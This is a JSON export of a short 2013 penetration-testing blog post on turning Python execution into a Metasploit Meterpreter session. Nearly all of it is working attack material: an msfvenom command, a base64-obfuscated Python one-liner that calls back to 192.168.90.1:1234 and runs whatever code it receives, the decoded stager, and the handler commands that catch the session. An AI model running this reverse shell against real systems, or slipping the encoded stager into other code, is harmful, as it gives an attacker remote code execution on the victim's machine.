{"id":1126,"date":"2013-10-22T16:57:20","date_gmt":"2013-10-22T15:57:20","guid":{"rendered":"http:\/\/www.phillips321.co.uk\/?p=1126"},"modified":"2013-10-22T16:57:20","modified_gmt":"2013-10-22T15:57:20","slug":"one-line-python-meterpreter-reverse-shell","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2013\/10\/22\/one-line-python-meterpreter-reverse-shell\/","title":{"rendered":"One line python Meterpreter Reverse Shell"},"content":{"rendered":"

So not so recently support was added to metasploit for a native python meterpreter<\/a>. The cool thing about this is that the victim only needs to execute a few small lines of code.<\/p>\n

This means that if you’re performing a local lockdown test and manage to get access to a python shell it wont take much more effort to turn this into a meterpreter session.<\/p>\n

1
2
<\/div><\/td>
msfvenom -f raw -p python\/meterpreter\/reverse_tcp LHOST=192.168.90.1 LPORT=1234
\nimport base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

This is just simply python code that is base64 encoded:<\/p>\n

1
2
3
4
5
6
7
8
<\/div><\/td>
import<\/span> socket<\/span>,<\/span>struct<\/span>
\ns=<\/span>socket<\/span>.socket<\/span>(<\/span>2<\/span>,<\/span>1<\/span>)<\/span>
\ns.connect<\/span>(<\/span>(<\/span>'192.168.90.1'<\/span>,<\/span>1234<\/span>)<\/span>)<\/span>
\nl=<\/span>struct<\/span>.unpack<\/span>(<\/span>'>I'<\/span>,<\/span>s.recv<\/span>(<\/span>4<\/span>)<\/span>)<\/span>[<\/span>0<\/span>]<\/span>
\nd=<\/span>s.recv<\/span>(<\/span>4096<\/span>)<\/span>
\nwhile<\/span> len<\/span>(<\/span>d)<\/span>!=<\/span>l:
\n    d+=<\/span>s.recv<\/span>(<\/span>4096<\/span>)<\/span>
\nexec<\/span>(<\/span>d,<\/span>{<\/span>'s'<\/span>:s}<\/span>)<\/span>"<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n

Then you just need to set up the listener within metasploit and hey presto!<\/p>\n

1
2
3
4
<\/div><\/td>
msf3> use exploit\/multi\/handler
\nmsf3> set payload python\/meterpreter\/reverse_tcp
\nmsf3> set LHOST 192.168.90.1
\nmsf3> exploit<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n","protected":false},"excerpt":{"rendered":"

So not so recently support was added to metasploit for a native python meterpreter. The cool thing about this is that the victim only needs to execute a few small lines of code. This means that if you’re performing a local lockdown test and manage to get access to a python shell it wont take […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[47,111,140],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/1126"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=1126"}],"version-history":[{"count":2,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/1126\/revisions"}],"predecessor-version":[{"id":1128,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/1126\/revisions\/1128"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=1126"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=1126"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=1126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}